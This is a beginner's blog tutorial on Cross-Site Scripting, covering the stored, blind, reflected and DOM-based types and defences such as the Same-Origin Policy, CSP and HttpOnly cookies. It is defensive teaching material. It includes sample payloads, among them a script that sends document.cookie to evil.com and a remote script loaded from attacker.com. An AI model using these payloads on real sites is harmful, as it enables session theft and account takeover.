July 22, 2026
What is Cross-Site Scripting (XSS)? A Complete Beginner’s Guide
In this blog, we’ll take a deep dive into Cross-Site Scripting (XSS) from both an attacker’s and a defender’s perspective. We’ll begin by…

By Mahendra Patil
8 min read
In this blog, we'll take a deep dive into Cross-Site Scripting (XSS) from both an attacker's and a defender's perspective. We'll begin by understanding the browser's trust model and why XSS vulnerabilities occur, then explore how malicious scripts are executed behind the scenes. We'll cover the different types of XSS, walk through real-world attack scenarios, and discuss modern browser security mechanisms such as the Same-Origin Policy, Content Security Policy (CSP), and Http Only cookies. By the End of Blog, you will be Familiar with XSS.
1. What is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a type of injection vulnerability that occurs when a web application gathers malicious data from a user and blindly includes it in its output without proper validation or encoding.
- A bad guy hides a harmful script (like a sneaky link) inside a normal-looking website.
- You visit that website, and your browser thinks, "This website is safe, so I'll run whatever it tells me to."
- Your browser runs the bad script without knowing it's dangerous.
- Now the bad guy can steal your passwords, cookies, or send you to fake pages all because your browser trusted the website.
2. Understanding the Browser's Trust Model
Before we learn how Cross-Site Scripting (XSS) works, we first need to understand how a browser thinks. Many beginners believe that browsers check whether JavaScript is safe before running it. They don't, A browser does not know whether a script was written by the website owner or injected by an attacker. It simply follows a few security rules. If those rules are satisfied, the browser executes the script. This trust model is exactly what attackers abuse during an XSS attack.
Let's understand it step by step.
- Suppose you visit
https://google.comhttps://google.comThe browser sends a request to the server.
- The server responds with:
<html>
<head>
<title>My Website</title>
</head>
<body>
<h1>Welcome!</h1>
<script>
console.log("Hello User");
</script>
</body>
</html><html>
<head>
<title>My Website</title>
</head>
<body>
<h1>Welcome!</h1>
<script>
console.log("Hello User");
</script>
</body>
</html>The browser sees the <script> tag and immediately executes it.
It never asks:
- Did the developer really write this?
- Is this code safe?
- Could an attacker have inserted it?
Instead, the browser thinks:
"This script came from google.com, and I trust content delivered by google.com."
So, it runs it. This is the foundation of browser trust.
Why XSS Vulnerabilities Occur?
Cross-Site Scripting (XSS) doesn't happen because browsers are insecure. It happens because the application accidentally mixes untrusted user input with trusted webpage content. To understand this, imagine the journey of some data.
Suppose a comment section asks:
Enter a comment:Enter a comment:A normal user enters:
This article is amazing!This article is amazing!The application stores it in the database.
Later, when another visitor opens the page, the server returns:
<div class="comment">
This article is amazing!
</div><div class="comment">
This article is amazing!
</div>The browser displays it as plain text.
This article is amazing!This article is amazing!Now Imagine an Attacker
Instead of writing a normal comment, the attacker submits:
<script>alert("XSS")</script<script>alert("XSS")</scriptThe server stores it exactly as received.
When another user opens the page, the server responds:
<div class="comment">
<script>alert("XSS")</script>
</div><div class="comment">
<script>alert("XSS")</script>
</div>How does the browser interpret this?
The browser doesn't think: "Someone typed this into a comment box."
Instead, it thinks: "The website intentionally sent me a <script> tag."
Since <script> is a valid HTML element, the browser executes it immediately.
The attacker never had access to the victim's computer. The victim's own browser executed the attack. The browser cannot distinguish between:
Developer-written HTML
<h1>Welcome</h1><h1>Welcome</h1>and attacker-supplied HTML
<script>stealCookies()</script><script>stealCookies()</script>Both arrive inside the same HTML document. From the browser's perspective, both are equally trusted. That's the real reason XSS exists.
Types of Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) is generally classified into three main types based on where the malicious payload is stored and how it reaches the victim's browser.
- Stored XSS (Persistent XSS) + Blind XSS
- Reflected XSS (Non-Persistent XSS)
- DOM-Based XSS
1. Stored XSS (Persistent XSS)
Stored XSS occurs when an attacker injects malicious JavaScript into an application's database or other persistent storage. Whenever another user visits the affected page, the application retrieves the stored data and includes it in the HTML response, causing the browser to execute the malicious script. This is considered one of the most dangerous forms of XSS because the payload remains stored until it is removed, allowing it to affect every user who views the vulnerable page.
Common Targets
- Comment sections
- Discussion forums
- User profiles
- Product reviews
- Chat messages
- Support tickets
Example (refer to the example shared earlier in this post.)
The Attack Step-by-Step
Step 1: The Attacker Creates a Profile
An attacker signs up and fills out the "Bio" section with something like this:
Nice to meet you! <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>Nice to meet you! <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>To a normal user, it looks like they just wrote: "Nice to meet you!" But hidden behind that innocent text is a malicious script.
Step 2: The Website Saves It
The website stores this bio exactly as typed including the script in its database. The site thinks it's just harmless text.
Step 3: Every Visitor Loads the Profile
Now, whenever any other user visits the attacker's profile page, the website pulls that bio from the database and displays it. But here's the catch: the browser sees the <script> tag and runs it immediately because it thinks the website itself put it there.
Blind XSS
Blind XSS is a special variation of Stored XSS but with a twist that makes it trickier to find and exploit.
With regular Stored XSS, the attacker can usually see their payload execute themselves, just by visiting the page where it's stored. With Blind XSS, the attacker has no visibility at all. They inject the payload and then… wait. The script doesn't run on any page the attacker can see. It only fires later, when someone else often an admin, moderator, or support agent opens the data in a completely different, usually internal, interface.
Why It's Called "Blind"
Because the attacker is essentially flying blind. There's no immediate feedback, no confirmation, no "did it work?" moment. The payload could sit dormant for minutes, hours, or even days before anyone with access to the internal system happens to view it.
A Simple Example
Imagine a support ticket system on a public website:
- An attacker submits a support ticket with a message like:
<script src="https://attacker.com/xss.js"></script><script src="https://attacker.com/xss.js"></script>- The ticket gets saved in the database nothing happens on the public-facing site.
- Days later, a support agent logs into the internal admin panel to review open tickets.
- The moment the agent opens that ticket, the script silently executes inside the admin dashboard, in the agent's authenticated session.
The attacker never saw any of this happen. They just planted the seed and waited.
2. Reflected XSS (Non-Persistent XSS)
Reflected Cross-Site Scripting (XSS) happens when a website takes input from a user like a search term or a URL parameter and puts it straight back into the page without checking or cleaning it first.
Think of it like an echo. You shout something into a canyon, and it echoes back exactly what you said. If a website does the same thing with your input echoes it back into the HTML an attacker can "shout" malicious code instead of normal text, and the browser will run it.
Common Targets
- Search pages
- Error pages
Example :
Suppose a search page displays:
You searched for: laptopYou searched for: laptopInternally, the application creates:
<h2>You searched for: laptop</h2><h2>You searched for: laptop</h2>Now imagine the application takes whatever appears in the URL and inserts it directly into the page.
The attacker sends the victim this URL:
https://google.com/search?q=<script>alert("XSS")</script>https://google.com/search?q=<script>alert("XSS")</script>The server responds with:
<h2>
You searched for:
<script>alert("XSS")</script>
</h2><h2>
You searched for:
<script>alert("XSS")</script>
</h2>The browser parses the response and executes the script. The payload is not stored anywhere. It is reflected directly from the request into the response.
3. DOM-Based XSS (Document object model)
This one's a bit different from the first two. With DOM-Based XSS, the server does nothing wrong it never even sees the malicious code. The entire attack happens inside the browser, through JavaScript that's already running on the page.
Here's the key idea: the page's own JavaScript reads some data (like the URL) and stuffs it directly into the page without checking it first. If that data contains malicious code, the browser ends up running it.
Where the Bad Data Comes From (Sources)
These are places in the browser where JavaScript can read data that a user controls:
location.search— the part of the URL after ? (query string)location.hash— the part of the URL after #document.URL— the full current URLdocument.referrer— the URL of the page that linked herewindow.name— a value that can persist across page loads
An attacker can control all of these just by crafting the right URL and getting someone to click it.
Where It Becomes Dangerous ?
A "sink" is a place in the code where that data gets inserted into the page in a way that lets it execute as HTML/JavaScript:
innerHTMLouterHTMLdocument.write()insertAdjacentHTML()
If untrusted data flows from a source into one of these sinks without being cleaned up, you've got DOM-Based XSS.
For Example :
A page has this javascript :
const name = new URLSearchParams(location.search).get("name");
document.getElementById("output").innerHTML = name;const name = new URLSearchParams(location.search).get("name");
document.getElementById("output").innerHTML = name;"Grab the name value from the URL, and stick it directly into the page."
Normally, someone visits:
https://example.com/?name=Johnhttps://example.com/?name=JohnAnd the page just says "Hello John" which is harmless.
But an attacker can send this instead:
https://example.com/?name=<img src=x onerror=alert("DOM XSS")>https://example.com/?name=<img src=x onerror=alert("DOM XSS")>Now the browser inserts this into the page
<img src=x onerror=alert("Hacked")><img src=x onerror=alert("Hacked")>The image src is fake "X", so it fails to load. That failure triggers the onerror event which runs the attacker's JavaScript. Boom, the alert pops up
Modern Browser Security Mechanisms
XSS is dangerous, but browsers aren't defenseless. Over the years, several built-in security mechanisms have been developed to reduce the impact of XSS even if a vulnerability exists. Let's break down the three big ones.
1. Same-Origin Policy (SOP)
This is one of the oldest and most fundamental security rules in every browser. A webpage can only interact freely with other pages/resources that share the same origin.
An "origin" is made up of three things:
- Protocol (http vs https)
- Domain (example.com)
- Port (80, 443, etc.)
All three must match for two pages to be considered "same-origin."
Example:
https://example.com/page1 → https://example.com/page2 ✅ Same originhttps://example.com/page1 → https://example.com/page2 ✅ Same originWhy it matters for XSS: SOP is what stops a malicious script running on attacker.com from directly reading data (cookies, DOM content, local Storage) from bank.com in another tab. Without SOP, literally any website could read/steal data from any other website you have open.
SOP protects against cross-site access but it does nothing if the malicious script is already running inside the vulnerable site itself, which is exactly what happens with XSS. This is why SOP alone isn't enough, and why other defenses exist.
2. Content Security Policy (CSP)
CSP is like a permission list, or a whitelist, that tells the browser: "Only trust and run scripts/resources from these approved sources block everything else."
It's delivered as an HTTP header from the server:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.comContent-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com"Only load scripts from my own domain and this one trusted CDN. Block anything else including inline scripts and anything injected by an attacker."
Why it's powerful against XSS: Even if an attacker manages to inject <script>alert(1)</script> into your page, a strict CSP will block it from executing, because inline scripts aren't in the approved list. This turns a working XSS payload into a dead, harmless string.
Key CSP directives worth mentioning:
script-srccontrols where JavaScript can load fromobject-src 'none'blocks Flash/plugins (old but still relevant)default-src 'self'fallback rule for everything not explicitly defined- Avoiding
unsafe-inlineandunsafe-evalthese two keywords, if used, basically defeat the purpose of CSP by allowing inline scripts anyway
CSP is powerful but often misconfigured. A lot of real-world CSPs still allow unsafe-inline, which makes them far less effective. Testing CSP configs is actually a common part of a pentest.
3. HttpOnly Cookies
When a cookie is marked HttpOnly, JavaScript running in the browser cannot read or access it at all. Only the browser itself can send it along with HTTP requests.
Set-Cookie: sessionId=abc123; HttpOnly; SecureSet-Cookie: sessionId=abc123; HttpOnly; SecureOne of the classic goals of XSS is stealing session cookies with something like:
document.cookiedocument.cookieIf the cookie is HttpOnly, this returns nothing useful the script simply can't see it. So even if an attacker successfully runs JavaScript on the page via XSS, they can't walk away with the victim's session token.
HttpOnly doesn't stop XSS from happening it just limits what the attacker can steal once it does. An attacker could still perform other actions (like making requests on the victim's behalf, defacing the page, or phishing within the page), so it's one layer of defense, not a complete fix.
Browser security mechanisms are a safety net, not a replacement for fixing the actual vulnerability. Relying only on CSP or HttpOnly cookies while ignoring proper sanitization is like wearing a seatbelt but still driving with your eyes closed — it helps, but it's not the real fix.